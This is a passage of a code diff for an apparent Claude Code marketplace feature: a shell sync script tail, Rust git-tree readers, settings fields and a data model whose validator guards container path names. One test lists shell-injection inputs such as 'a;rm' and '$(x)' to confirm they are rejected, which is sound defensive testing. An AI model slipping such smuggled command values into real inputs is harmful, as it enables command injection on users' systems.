fail "~/.claude/settings.json was updated but could not be made private (chmod 600)"
else
rm -f "$tmp"
HOOKS_FAILED=1
fail "~/.claude/settings.json could not be updated, so hook changes were not applied"
fi
fi
umask "$saved_umask"
fi
if [ "$HOOKS_FAILED" = 0 ]; then
while IFS="$TAB" read -r o id; do
[ "$o" = none ] || report "$o" "$id"
done <"$R/hook_pending"
while read -r id; do
key=${id#hook:}
if rm -rf "$(item_path hook "$key")"; then report removed "$id"; else fail "$id: could not remove its files"; fi
done <"$R/hook_removals"
fi
# ── Plugins ──────────────────────────────────────────────────────────────────
jq -r '.plugin_marketplaces[]?' "$OLD" >"$R/old_slugs"
while read -r slug; do
if ! valid_slug "$slug"; then fail "invalid plugin marketplace name"; continue; fi
mname="triple-c-$slug"
dest="$BASE/plugins/$slug"
if ! { rm -rf "$dest" && cp -R "$WORK/plugins/$slug" "$dest"; }; then
fail "$mname: could not write $dest"
continue
fi
if grep -qxF "$slug" "$R/old_slugs"; then
claude_cmd plugin marketplace update "$mname" || fail "$mname: marketplace update failed"
elif ! claude_cmd plugin marketplace add "$dest"; then
claude_cmd plugin marketplace update "$mname" || { fail "$mname: could not be registered"; continue; }
fi
printf '%s\n' "$slug" >>"$R/final_slugs"
while IFS="$TAB" read -r key commit pslug; do
key=${key#_} commit=${commit#_} pslug=${pslug#_}
[ "$pslug" = "$slug" ] || continue
id="plugin:$key"
sid="plugin:$slug/$key"
p=$(prev_commit "$sid")
if [ -z "$p" ]; then
claude_cmd plugin install "$key@$mname" || { fail "$id ($mname): install failed"; continue; }
report installed "$id"
elif [ "$p" != "$commit" ]; then
claude_cmd plugin uninstall "$key@$mname"
claude_cmd plugin install "$key@$mname" || { fail "$id ($mname): reinstall failed"; continue; }
report updated "$id"
fi
record "$sid" "$(jq -cn --arg c "$commit" --arg s "$slug" '{commit: $c, slug: $s}')"
done <"$R/plugin_items"
done <"$R/new_slugs"
# Plugins no longer selected.
while read -r id; do
case "$id" in plugin:*) ;; *) continue ;; esac
if grep -qxF "$id" "$R/new_ids" || cut -f1 "$R/newstate" | grep -qxF "$id"; then continue; fi
if in_manifest "$id"; then carry_forward "$id"; continue; fi
# Name and marketplace come from the id alone ("plugin:<slug>/<key>").
rest=${id#plugin:}
case "$rest" in
*/*) slug=${rest%%/*} key=${rest#*/} ;;
*) slug="" key="" ;;
esac
if ! valid_key "$key" || ! valid_slug "$slug"; then
fail "$id: dropped an unrecognised record from the marketplace state"
continue
fi
if claude_cmd plugin uninstall "$key@triple-c-$slug"; then
report removed "plugin:$key"
else
fail "plugin:$key (triple-c-$slug): uninstall failed"
carry_forward "$id"
fi
done <"$R/old_ids"
# Plugin marketplaces with nothing left in them.
cut -f2- "$R/newstate" | jq -r 'select(has("slug")) | .slug' >>"$R/final_slugs"
while read -r slug; do
if grep -qxF "$slug" "$R/final_slugs"; then continue; fi
valid_slug "$slug" || continue
claude_cmd plugin marketplace remove "triple-c-$slug" || fail "triple-c-$slug: could not be removed"
rm -rf "$BASE/plugins/$slug"
done <"$R/old_slugs"
# ── State ────────────────────────────────────────────────────────────────────
jq -Rn '[inputs | split("\t") | { key: .[0], value: (.[1:] | join("\t") | fromjson) }] | from_entries' \
<"$R/newstate" >"$R/items.json"
if [ "$HOOKS_FAILED" = 1 ]; then
# settings.json still holds the old entries, so the old records stay true.
jq -s '.[0] as $new | .[1].items as $old
| ($new | with_entries(select(.key | startswith("hook:") | not)))
+ ($old | with_entries(select(.key | startswith("hook:"))))' \
"$R/items.json" "$OLD" >"$R/items2.json" && mv -f "$R/items2.json" "$R/items.json"
fi
if jq -n --slurpfile it "$R/items.json" --rawfile sl "$R/final_slugs" \
'{ version: 1, items: $it[0], plugin_marketplaces: ($sl | split("\n") | map(select(length > 0)) | unique) }' \
>"$STATE.tmp.$$"; then
mv -f "$STATE.tmp.$$" "$STATE"
else
rm -f "$STATE.tmp.$$"
fail "the marketplace state could not be saved"
fi
rm -rf "$WORK"
emit_report
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,90 @@
//! Test-only helpers: throwaway git repositories built with the `git` CLI, so
//! marketplace code is exercised against real git objects over `file://`.
//! The git plumbing itself lives in [`super::git::test_support`] (one copy).
use std::fs;
use super::git::test_support::{file_url, git, git_available};
pub struct GitFixture {
pub dir: tempfile::TempDir,
}
impl GitFixture {
/// `None` (with a note on stderr) when `git` is not installed; callers skip.
pub fn new() -> Option<Self> {
if !git_available() {
eprintln!("skipping: git is not installed");
return None;
}
let dir = tempfile::tempdir().expect("tempdir");
git(dir.path(), &["init", "-q", "-b", "main"]);
Some(Self { dir })
}
pub fn url(&self) -> String {
file_url(self.dir.path())
}
pub fn write(&self, path: &str, contents: &str) -> &Self {
let p = self.dir.path().join(path);
fs::create_dir_all(p.parent().unwrap()).unwrap();
fs::write(&p, contents).unwrap();
self
}
pub fn write_exec(&self, path: &str, contents: &str) -> &Self {
self.write(path, contents);
#[cfg(unix)]
{
use std::os::unix::fs::PermissionsExt;
let p = self.dir.path().join(path);
fs::set_permissions(&p, fs::Permissions::from_mode(0o755)).unwrap();
}
self
}
/// Commit everything and return the new commit id (40 hex).
pub fn commit(&self, message: &str) -> String {
git(self.dir.path(), &["add", "-A"]);
git(
self.dir.path(),
&["commit", "-q", "--allow-empty", "-m", message],
);
git(self.dir.path(), &["rev-parse", "HEAD"])
}
/// A repo with one item of every kind, committed. Returns the commit.
pub fn with_all_kinds(&self) -> String {
self.write(
"agents/code-reviewer.md",
"---\nname: code-reviewer\ndescription: Reviews code\n---\nReview the diff.\n",
)
.write(
"skills/example-skill/SKILL.md",
"---\nname: example-skill\ndescription: An example skill\n---\nDo the thing.\n",
)
.write(
"commands/example-command.md",
"---\ndescription: An example command\n---\nRun the example.\n",
)
.write(
"hooks/notify-on-stop/hook.json",
r#"{"name":"notify-on-stop","description":"Ping on stop","hooks":{"Stop":[{"hooks":[{"type":"command","command":"${HOOK_DIR}/notify.sh"}]}]}}"#,
)
.write_exec("hooks/notify-on-stop/notify.sh", "#!/bin/sh\necho done\n")
.write(
"plugins/.claude-plugin/marketplace.json",
r#"{"name":"upstream","owner":{"name":"Test"},"plugins":[{"name":"example-plugin","source":"./example-plugin","description":"An example plugin"}]}"#,
)
.write(
"plugins/example-plugin/.claude-plugin/plugin.json",
r#"{"name":"example-plugin","version":"0.1.0"}"#,
)
.write(
"plugins/example-plugin/skills/hello/SKILL.md",
"---\nname: hello\ndescription: Says hello\n---\nSay hello.\n",
);
self.commit("all kinds")
}
}
+511
View File
@@ -0,0 +1,511 @@
//! A read-only view of a repository tree at one commit.
//!
//! The catalog parser only ever talks to [`TreeView`], so it is tested
//! against [`MemTree`] with no git involved, and runs in production against
//! [`GitTree`], which reads git objects straight out of the bare cache.
#[cfg(test)]
use std::collections::BTreeMap;
#[cfg(test)]
use sha2::{Digest, Sha256};
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum EntryKind {
File,
Dir,
Symlink,
/// Anything else git can hold (submodule commits). Never installable.
Other,
}
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct DirEntry {
pub name: String,
pub kind: EntryKind,
pub executable: bool,
}
pub trait TreeView {
/// Entries of the directory at `path` (`""` = root). `Ok(None)` if absent or not a dir.
fn list_dir(&self, path: &str) -> Result<Option<Vec<DirEntry>>, String>;
/// Contents of the regular file at `path`, if it is at most `max_bytes`.
/// `Ok(None)` if absent or not a file. A larger file is
/// [`ReadError::TooLarge`], decided before its contents are loaded.
fn read_file(&self, path: &str, max_bytes: u64) -> Result<Option<Vec<u8>>, ReadError>;
/// Stable content id of the entry at `path`; `None` if absent.
fn entry_id(&self, path: &str) -> Result<Option<String>, String>;
}
/// Why [`TreeView::read_file`] returned no contents.
#[derive(Debug, Clone, PartialEq, Eq)]
pub enum ReadError {
/// The file is larger than the caller's cap (known from the object
/// header, so nothing was inflated).
TooLarge {
path: String,
max_bytes: u64,
},
Other(String),
}
/// `"2 MiB"`, `"64 KiB"` or `"N bytes"`.
pub(crate) fn describe_size(bytes: u64) -> String {
const KIB: u64 = 1024;
const MIB: u64 = 1024 * 1024;
if bytes >= MIB && bytes.is_multiple_of(MIB) {
format!("{} MiB", bytes / MIB)
} else if bytes >= KIB && bytes.is_multiple_of(KIB) {
format!("{} KiB", bytes / KIB)
} else {
format!("{} bytes", bytes)
}
}
impl From<ReadError> for String {
fn from(e: ReadError) -> String {
match e {
ReadError::TooLarge { path, max_bytes } => {
format!("{} is larger than {}", path, describe_size(max_bytes))
}
ReadError::Other(msg) => msg,
}
}
}
impl From<String> for ReadError {
fn from(msg: String) -> Self {
ReadError::Other(msg)
}
}
/// Hex-encode `bytes`. Shared by [`MemTree`]'s content id (test-only) and
/// `catalog::item_fingerprint`'s plugin-entry hash (production), so there is
/// one hex formatter rather than two copies of the same `format!("{:02x}")`.
pub(crate) fn hex(bytes: &[u8]) -> String {
bytes.iter().map(|b| format!("{:02x}", b)).collect()
}
/// A tree at one commit of a bare gix repository.
pub struct GitTree {
repo: gix::Repository,
tree_id: gix::ObjectId,
}
#[cfg(test)]
thread_local! {
static REPO_OPENS: std::cell::Cell<usize> = const { std::cell::Cell::new(0) };
}
/// How many times this thread has opened a cache repo (tests only).
#[cfg(test)]
pub fn repo_opens() -> usize {
REPO_OPENS.with(|c| c.get())
}
/// Open a bare cache. Several [`GitTree`]s can share one open repo through
/// [`GitTree::at`] (cloning a `gix::Repository` shares its object store).
pub fn open_repo(repo_path: &std::path::Path) -> Result<gix::Repository, String> {
#[cfg(test)]
REPO_OPENS.with(|c| c.set(c.get() + 1));
gix::open(repo_path).map_err(|e| format!("Could not open the marketplace cache: {}", e))
}
impl GitTree {
pub fn open(repo_path: &std::path::Path, commit: &str) -> Result<Self, String> {
Self::at(open_repo(repo_path)?, commit)
}
/// The tree at `commit` of an already open repo.
pub fn at(repo: gix::Repository, commit: &str) -> Result<Self, String> {
let oid = gix::ObjectId::from_hex(commit.as_bytes())
.map_err(|e| format!("Invalid commit id {}: {}", commit, e))?;
let tree_id = repo
.find_commit(oid)
.map_err(|e| format!("Commit {} is not in the marketplace cache: {}", commit, e))?
.tree_id()
.map_err(|e| format!("Commit {} has no tree: {}", commit, e))?
.detach();
Ok(Self { repo, tree_id })
}
fn root(&self) -> Result<gix::Tree<'_>, String> {
self.repo
.find_tree(self.tree_id)
.map_err(|e| format!("Could not read tree {}: {}", self.tree_id, e))
}
/// `(object id, mode)` of the entry at `path`, or `None`.
fn lookup(
&self,
path: &str,
) -> Result<Option<(gix::ObjectId, gix::object::tree::EntryMode)>, String> {
if path.is_empty() {
return Ok(Some((
self.tree_id,
gix::object::tree::EntryKind::Tree.into(),
)));
}
let root = self.root()?;
let entry = root
.lookup_entry_by_path(path)
.map_err(|e| format!("Could not look up {}: {}", path, e))?;
Ok(entry.map(|e| (e.object_id(), e.mode())))
}
}
impl TreeView for GitTree {
fn list_dir(&self, path: &str) -> Result<Option<Vec<DirEntry>>, String> {
let Some((id, mode)) = self.lookup(path)? else {
return Ok(None);
};
if !mode.is_tree() {
return Ok(None);
}
let tree = self
.repo
.find_tree(id)
.map_err(|e| format!("Could not read {}: {}", path, e))?;
let mut out = Vec::new();
for entry in tree.iter() {
let entry = entry.map_err(|e| format!("Could not read {}: {:?}", path, e))?;
let mode = entry.mode();
let kind = if mode.is_tree() {
EntryKind::Dir
} else if mode.is_link() {
EntryKind::Symlink
} else if mode.is_blob() {
EntryKind::File
} else {
EntryKind::Other
};
out.push(DirEntry {
name: entry.filename().to_string(),
kind,
executable: mode.is_executable(),
});
}
Ok(Some(out))
}
fn read_file(&self, path: &str, max_bytes: u64) -> Result<Option<Vec<u8>>, ReadError> {
let Some((id, mode)) = self.lookup(path)? else {
return Ok(None);
};
if !mode.is_blob() {
return Ok(None);
}
// The header alone gives the size; a blob over the cap is never
// inflated (a compressible multi-GB file would otherwise be).
let size = self
.repo
.find_header(id)
.map_err(|e| format!("Could not read {}: {}", path, e))?
.size();
if size > max_bytes {
return Err(ReadError::TooLarge {
path: path.to_string(),
max_bytes,
});
}
let mut blob = self
.repo
.find_blob(id)
.map_err(|e| format!("Could not read {}: {}", path, e))?;
Ok(Some(blob.take_data()))
}
fn entry_id(&self, path: &str) -> Result<Option<String>, String> {
Ok(self.lookup(path)?.map(|(id, _)| id.to_string()))
}
}
#[cfg(test)]
#[derive(Debug, Clone)]
enum MemNode {
File { data: Vec<u8>, executable: bool },
Symlink { target: String },
}
/// In-memory tree for tests: path → node. Directories are implied by paths.
#[cfg(test)]
#[derive(Debug, Clone, Default)]
pub struct MemTree {
nodes: BTreeMap<String, MemNode>,
}
#[cfg(test)]
impl MemTree {
pub fn new() -> Self {
Self::default()
}
pub fn file(mut self, path: &str, contents: &str) -> Self {
self.nodes.insert(
path.to_string(),
MemNode::File {
data: contents.as_bytes().to_vec(),
executable: false,
},
);
self
}
pub fn exec_file(mut self, path: &str, contents: &str) -> Self {
self.nodes.insert(
path.to_string(),
MemNode::File {
data: contents.as_bytes().to_vec(),
executable: true,
},
);
self
}
pub fn symlink(mut self, path: &str, target: &str) -> Self {
self.nodes.insert(
path.to_string(),
MemNode::Symlink {
target: target.to_string(),
},
);
self
}
/// Place a file so that, inside `dir`, it is listed under the literal
/// entry name `name` — including a name `file`/`exec_file`/`symlink`
/// could never be asked to produce because it doesn't correspond to any
/// real filesystem path a caller here would construct: `.`, `..`, empty,
/// or containing `/`, `\` or a NUL byte. Exists only so a test can drive
/// `catalog::collect_dir`'s hostile-entry-name rejection without relying
/// on incidental behaviour of path-string splitting.
pub fn raw_named_file(mut self, dir: &str, name: &str, contents: &str) -> Self {
let path = if dir.is_empty() {
name.to_string()
} else {
format!("{}/{}", dir, name)
};
self.nodes.insert(
path,
MemNode::File {
data: contents.as_bytes().to_vec(),
executable: false,
},
);
self
}
fn is_dir(&self, path: &str) -> bool {
if path.is_empty() {
return true;
}
let prefix = format!("{}/", path);
self.nodes.keys().any(|k| k.starts_with(&prefix))
}
}
#[cfg(test)]
impl TreeView for MemTree {
fn list_dir(&self, path: &str) -> Result<Option<Vec<DirEntry>>, String> {
if self.nodes.contains_key(path) || !self.is_dir(path) {
return Ok(None);
}
let prefix = if path.is_empty() {
String::new()
} else {
format!("{}/", path)
};
let mut out: BTreeMap<String, DirEntry> = BTreeMap::new();
for (key, node) in &self.nodes {
let Some(rest) = key.strip_prefix(&prefix) else {
continue;
};
match rest.split_once('/') {
Some((dir, _)) => {
out.entry(dir.to_string()).or_insert(DirEntry {
name: dir.to_string(),
kind: EntryKind::Dir,
executable: false,
});
}
None => {
let (kind, executable) = match node {
MemNode::File { executable, .. } => (EntryKind::File, *executable),
MemNode::Symlink { .. } => (EntryKind::Symlink, false),
};
out.insert(
rest.to_string(),
DirEntry {
name: rest.to_string(),
kind,
executable,
},
);
}
}
}
Ok(Some(out.into_values().collect()))
}
fn read_file(&self, path: &str, max_bytes: u64) -> Result<Option<Vec<u8>>, ReadError> {
match self.nodes.get(path) {
Some(MemNode::File { data, .. }) if data.len() as u64 > max_bytes => {
Err(ReadError::TooLarge {
path: path.to_string(),
max_bytes,
})
}
Some(MemNode::File { data, .. }) => Ok(Some(data.clone())),
_ => Ok(None),
}
}
fn entry_id(&self, path: &str) -> Result<Option<String>, String> {
let mut hasher = Sha256::new();
let mut found = false;
let prefix = format!("{}/", path);
for (key, node) in &self.nodes {
if key != path && !key.starts_with(&prefix) {
continue;
}
found = true;
hasher.update(key.as_bytes());
hasher.update([0]);
match node {
MemNode::File { data, executable } => {
hasher.update([if *executable { b'x' } else { b'f' }]);
hasher.update(data);
}
MemNode::Symlink { target } => {
hasher.update(b"l");
hasher.update(target.as_bytes());
}
}
hasher.update([0]);
}
Ok(found.then(|| hex(&hasher.finalize())))
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn mem_tree_lists_files_dirs_and_symlinks() {
let t = MemTree::new()
.file("agents/a.md", "x")
.exec_file("hooks/h/run.sh", "#!/bin/sh")
.symlink("agents/link.md", "a.md");
let root = t.list_dir("").unwrap().unwrap();
assert_eq!(
root.iter()
.map(|e| (e.name.as_str(), e.kind))
.collect::<Vec<_>>(),
vec![("agents", EntryKind::Dir), ("hooks", EntryKind::Dir)]
);
let agents = t.list_dir("agents").unwrap().unwrap();
assert_eq!(agents[1].kind, EntryKind::Symlink);
let hook = t.list_dir("hooks/h").unwrap().unwrap();
assert!(hook[0].executable);
assert_eq!(t.list_dir("agents/a.md").unwrap(), None);
assert_eq!(t.list_dir("missing").unwrap(), None);
assert_eq!(t.read_file("agents/a.md", 10).unwrap().unwrap(), b"x");
assert_eq!(t.read_file("agents", 10).unwrap(), None);
}
#[test]
fn mem_tree_entry_id_changes_only_with_content() {
let a = MemTree::new()
.file("skills/s/SKILL.md", "one")
.file("agents/x.md", "x");
let b = MemTree::new()
.file("skills/s/SKILL.md", "one")
.file("agents/x.md", "changed");
let c = MemTree::new()
.file("skills/s/SKILL.md", "two")
.file("agents/x.md", "x");
assert_eq!(
a.entry_id("skills/s").unwrap(),
b.entry_id("skills/s").unwrap()
);
assert_ne!(
a.entry_id("skills/s").unwrap(),
c.entry_id("skills/s").unwrap()
);
assert_eq!(a.entry_id("nope").unwrap(), None);
}
/// Review #9: the size comes from the object header, so a blob over the
/// cap is refused without its body ever being inflated. The fixture's
/// loose object is cut short after its header: reading the body would
/// fail, while the header still names the full size.
#[test]
fn git_tree_refuses_an_oversized_blob_from_its_header() {
use crate::marketplace::git::test_support::{git, git_available, init_repo};
if !git_available() {
return;
}
const CAP: u64 = 64 * 1024;
let dir = tempfile::tempdir().unwrap();
let big = "x".repeat(CAP as usize + 1);
let commit = init_repo(
dir.path(),
&[
("agents/big.md", &big, false),
("agents/small.md", "hi", false),
],
);
let blob = git(dir.path(), &["rev-parse", "HEAD:agents/big.md"]);
let loose = dir
.path()
.join(".git/objects")
.join(&blob[..2])
.join(&blob[2..]);
let bytes = std::fs::read(&loose).unwrap();
let mut perms = std::fs::metadata(&loose).unwrap().permissions();
#[allow(clippy::permissions_set_readonly_false)]
perms.set_readonly(false); // git writes objects read-only
std::fs::set_permissions(&loose, perms).unwrap();
std::fs::write(&loose, &bytes[..40.min(bytes.len())]).unwrap();
let tree = GitTree::open(&dir.path().join(".git"), &commit).unwrap();
let err = String::from(tree.read_file("agents/big.md", CAP).unwrap_err());
assert!(err.contains("larger than 64 KiB"), "{err}");
// The body really is unreadable: under a cap it fits, the read fails
// for another reason — so the refusal above never inflated it.
let body = String::from(tree.read_file("agents/big.md", 2 * CAP).unwrap_err());
assert!(!body.contains("larger than"), "{body}");
assert_eq!(
tree.read_file("agents/small.md", CAP).unwrap().unwrap(),
b"hi"
);
assert_eq!(tree.read_file("agents/missing.md", CAP).unwrap(), None);
}
#[test]
fn trees_at_several_commits_share_one_open_repo() {
use crate::marketplace::git::test_support::{commit_files, git_available, init_repo};
if !git_available() {
return;
}
let dir = tempfile::tempdir().unwrap();
let c1 = init_repo(dir.path(), &[("a.md", "one", false)]);
let c2 = commit_files(dir.path(), &[("a.md", "two", false)], "second");
let before = repo_opens();
let repo = open_repo(&dir.path().join(".git")).unwrap();
let t1 = GitTree::at(repo.clone(), &c1).unwrap();
let t2 = GitTree::at(repo, &c2).unwrap();
assert_eq!(repo_opens() - before, 1);
assert_eq!(t1.read_file("a.md", 10).unwrap().unwrap(), b"one");
assert_eq!(t2.read_file("a.md", 10).unwrap().unwrap(), b"two");
}
#[test]
fn mem_tree_applies_the_same_cap() {
let t = MemTree::new().file("a.md", "12345");
assert_eq!(t.read_file("a.md", 5).unwrap().unwrap(), b"12345");
let err = String::from(t.read_file("a.md", 4).unwrap_err());
assert!(err.contains("a.md is larger than 4 bytes"), "{err}");
}
}
+14
View File
@@ -1,6 +1,7 @@
use serde::{Deserialize, Serialize};
use super::gateway_settings::GatewaySettings;
use super::marketplace::{Marketplace, MarketplaceAccount, MarketplaceInstall};
use super::project::{ClaudeCodeSettings, EnvVar};
fn default_true() -> bool {
@@ -135,6 +136,16 @@ pub struct AppSettings {
pub gateway: GatewaySettings,
#[serde(default)]
pub global_claude_code_settings: Option<ClaudeCodeSettings>,
/// Sign-in accounts for private marketplace repos. Secrets live in the
/// OS keychain (`storage::secure::*_marketplace_token`), never here.
#[serde(default)]
pub marketplace_accounts: Vec<MarketplaceAccount>,
/// Marketplace git repos the user added.
#[serde(default)]
pub marketplaces: Vec<Marketplace>,
/// Items installed for every project (projects may opt out per item).
#[serde(default)]
pub global_marketplace_installs: Vec<MarketplaceInstall>,
/// Whether the terminal loads `@xterm/addon-webgl`.
///
/// `None` is "auto", and auto is not the same answer on every platform.
@@ -246,6 +257,9 @@ impl Default for AppSettings {
stt: SttSettings::default(),
gateway: GatewaySettings::default(),
global_claude_code_settings: None,
marketplace_accounts: Vec::new(),
marketplaces: Vec::new(),
global_marketplace_installs: Vec::new(),
terminal_gpu_rendering: None,
}
}
+406
View File
@@ -0,0 +1,406 @@
//! Marketplace data model — see `docs/superpowers/specs/2026-09-27-marketplace-design.md`.
//!
//! Plain data plus the pure rules that decide what a project actually gets
//! ([`effective_installs`]) and what names are allowed to reach a container
//! path ([`is_valid_item_key`], [`marketplace_slug`]).
use std::collections::BTreeMap;
use serde::{Deserialize, Serialize};
#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, PartialOrd, Ord, Serialize, Deserialize)]
#[serde(rename_all = "snake_case")]
pub enum ItemKind {
Agent,
Skill,
Command,
Hook,
Plugin,
}
impl ItemKind {
/// The lowercase name used in report strings (`"agent:code-reviewer"`) and the manifest.
pub fn as_str(&self) -> &'static str {
match self {
ItemKind::Agent => "agent",
ItemKind::Skill => "skill",
ItemKind::Command => "command",
ItemKind::Hook => "hook",
ItemKind::Plugin => "plugin",
}
}
}
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
#[serde(rename_all = "snake_case")]
pub enum AccountMethod {
GhHost,
GhContainer,
Token,
}
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
pub struct MarketplaceAccount {
pub id: String,
pub label: String,
pub host: String,
pub method: AccountMethod,
#[serde(default)]
pub username: Option<String>,
}
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
pub struct Marketplace {
pub id: String,
pub name: String,
pub url: String,
#[serde(default)]
pub branch: Option<String>,
#[serde(default)]
pub account_id: Option<String>,
}
#[derive(Debug, Clone, PartialEq, Eq, Hash, PartialOrd, Ord, Serialize, Deserialize)]
pub struct MarketplaceItemRef {
pub marketplace_id: String,
pub kind: ItemKind,
pub key: String,
}
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
pub struct MarketplaceInstall {
pub marketplace_id: String,
pub kind: ItemKind,
pub key: String,
pub commit: String,
}
impl MarketplaceInstall {
pub fn item_ref(&self) -> MarketplaceItemRef {
MarketplaceItemRef {
marketplace_id: self.marketplace_id.clone(),
kind: self.kind,
key: self.key.clone(),
}
}
}
/// What a project's container actually gets: the global installs minus the
/// ones this project opted out of, plus the project's own installs. When the
/// project installs an item that is also global, the project's entry (and so
/// its pin) wins. Sorted by item ref so the result is deterministic.
pub fn effective_installs(
global: &[MarketplaceInstall],
disabled: &[MarketplaceItemRef],
project: &[MarketplaceInstall],
) -> Vec<MarketplaceInstall> {
let mut out: BTreeMap<MarketplaceItemRef, MarketplaceInstall> = BTreeMap::new();
for install in global {
let item = install.item_ref();
if disabled.contains(&item) {
continue;
}
out.insert(item, install.clone());
}
for install in project {
out.insert(install.item_ref(), install.clone());
}
out.into_values().collect()
}
/// `^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$` — the only names that may become a
/// container path component. No `/`, no leading `.` or `-`, no shell
/// metacharacters.
pub fn is_valid_item_key(key: &str) -> bool {
let bytes = key.as_bytes();
if bytes.is_empty() || bytes.len() > 64 {
return false;
}
if !bytes[0].is_ascii_alphanumeric() {
return false;
}
bytes
.iter()
.all(|b| b.is_ascii_alphanumeric() || matches!(b, b'.' | b'_' | b'-'))
}
/// A container-safe name for a marketplace (plugin marketplace
/// `triple-c-<slug>`, plugin tree `plugins/<slug>/`): `mp-` and the first 8
/// alphanumeric characters of its id, lowercased. It depends on the id only,
/// never on the editable display name, so a rename cannot make a container
/// see a different marketplace (final review M4). Containers synced with
/// the earlier `<name>-<id8>` slugs move over on their next sync: the
/// plugins are installed under the new name and the old copies uninstalled.
pub fn marketplace_slug(id: &str) -> String {
let id_part: String = id
.chars()
.filter(|c| c.is_ascii_alphanumeric())
.map(|c| c.to_ascii_lowercase())
.take(8)
.collect();
if id_part.is_empty() {
"mp-marketplace".to_string()
} else {
format!("mp-{id_part}")
}
}
/// A full, lowercase, 40-character hex object id.
pub fn is_valid_commit(commit: &str) -> bool {
commit.len() == 40
&& commit
.bytes()
.all(|b| b.is_ascii_digit() || (b'a'..=b'f').contains(&b))
}
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
pub struct CatalogItem {
pub kind: ItemKind,
pub key: String,
pub name: String,
pub description: String,
/// Repo-relative path of the item (file or folder).
pub path: String,
/// `Some(reason)` when the item cannot be installed.
pub invalid: Option<String>,
/// Hooks only: rendered commands with `${HOOK_DIR}` substituted.
#[serde(default)]
pub hook_commands: Vec<String>,
/// Agents/commands/skills: the markdown body (≤ 64 KiB, truncated);
/// plugins: a component listing.
#[serde(default)]
pub preview: String,
/// Plugins only: what the plugin brings that runs or adds commands —
/// inline in its catalog entry and in its folder — shown before an
/// install is confirmed (PR review #4).
#[serde(default)]
pub plugin_components: Vec<PluginComponent>,
}
/// One part of a plugin that can run something: e.g. its catalog entry's
/// `mcpServers`, or its folder's `hooks/hooks.json`.
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
pub struct PluginComponent {
/// Where it comes from, e.g. `"marketplace.json entry: mcpServers"`.
pub label: String,
/// Pretty-printed JSON, file text or a listing (≤ 64 KiB, truncated).
pub content: String,
}
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize, Default)]
pub struct MarketplaceSnapshot {
pub marketplace_id: String,
pub head_commit: Option<String>,
/// RFC 3339.
pub fetched_at: Option<String>,
pub fetch_error: Option<String>,
pub items: Vec<CatalogItem>,
}
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
pub struct ItemUpdate {
pub item: MarketplaceItemRef,
pub pinned: String,
pub head: String,
/// Why the item cannot be installed at `head` (invalid there, or gone),
/// so the update would be refused; `None` when it can be applied.
#[serde(default)]
pub invalid_at_head: Option<String>,
}
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
#[serde(rename_all = "snake_case")]
pub enum FileChange {
Added,
Removed,
Modified,
}
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
pub struct FileDiff {
pub path: String,
pub change: FileChange,
/// Unified diff text; `None` when either side is binary.
pub unified: Option<String>,
}
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize, Default)]
pub struct SkippedItem {
pub item: String,
pub reason: String,
}
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize, Default)]
pub struct SyncReport {
#[serde(default)]
pub installed: Vec<String>,
#[serde(default)]
pub updated: Vec<String>,
#[serde(default)]
pub removed: Vec<String>,
#[serde(default)]
pub skipped: Vec<SkippedItem>,
#[serde(default)]
pub errors: Vec<String>,
/// RFC 3339, set by the host.
#[serde(default)]
pub finished_at: String,
}
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
#[serde(tag = "type", rename_all = "snake_case")]
pub enum InstallScope {
Global,
Project { project_id: String },
}
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct ProjectSyncResult {
pub project_id: String,
pub report: SyncReport,
}
#[cfg(test)]
mod tests {
use super::*;
fn install(market: &str, kind: ItemKind, key: &str, commit: &str) -> MarketplaceInstall {
MarketplaceInstall {
marketplace_id: market.to_string(),
kind,
key: key.to_string(),
commit: commit.to_string(),
}
}
#[test]
fn effective_set_is_global_minus_disabled_plus_project() {
let global = vec![
install("m1", ItemKind::Agent, "reviewer", "a"),
install("m1", ItemKind::Hook, "notify", "a"),
];
let disabled = vec![MarketplaceItemRef {
marketplace_id: "m1".into(),
kind: ItemKind::Hook,
key: "notify".into(),
}];
let project = vec![install("m2", ItemKind::Skill, "tidy", "b")];
let got = effective_installs(&global, &disabled, &project);
assert_eq!(
got,
vec![
install("m1", ItemKind::Agent, "reviewer", "a"),
install("m2", ItemKind::Skill, "tidy", "b"),
]
);
}
#[test]
fn project_pin_wins_over_global_pin() {
let global = vec![install("m1", ItemKind::Agent, "reviewer", "old")];
let project = vec![install("m1", ItemKind::Agent, "reviewer", "new")];
let got = effective_installs(&global, &[], &project);
assert_eq!(got, vec![install("m1", ItemKind::Agent, "reviewer", "new")]);
}
#[test]
fn same_key_different_kind_are_different_items() {
let global = vec![
install("m1", ItemKind::Agent, "x", "a"),
install("m1", ItemKind::Command, "x", "a"),
];
assert_eq!(effective_installs(&global, &[], &[]).len(), 2);
}
#[test]
fn item_keys_follow_the_pattern() {
for ok in ["a", "code-reviewer", "A.b_c-9", &"x".repeat(64)] {
assert!(is_valid_item_key(ok), "{ok} should be valid");
}
for bad in [
"",
".hidden",
"-flag",
"_x",
"a/b",
"a b",
"a;rm",
"$(x)",
"ä",
"..",
&"x".repeat(65),
] {
assert!(!is_valid_item_key(bad), "{bad:?} should be invalid");
}
}
#[test]
fn slug_is_derived_from_the_id_only() {
assert_eq!(
marketplace_slug("7C9E6679-7425-40de-944b-e07fc1f90ae7"),
"mp-7c9e6679"
);
assert_eq!(marketplace_slug("1A2B-3C4D-ffff"), "mp-1a2b3c4d");
assert_eq!(marketplace_slug("ab"), "mp-ab");
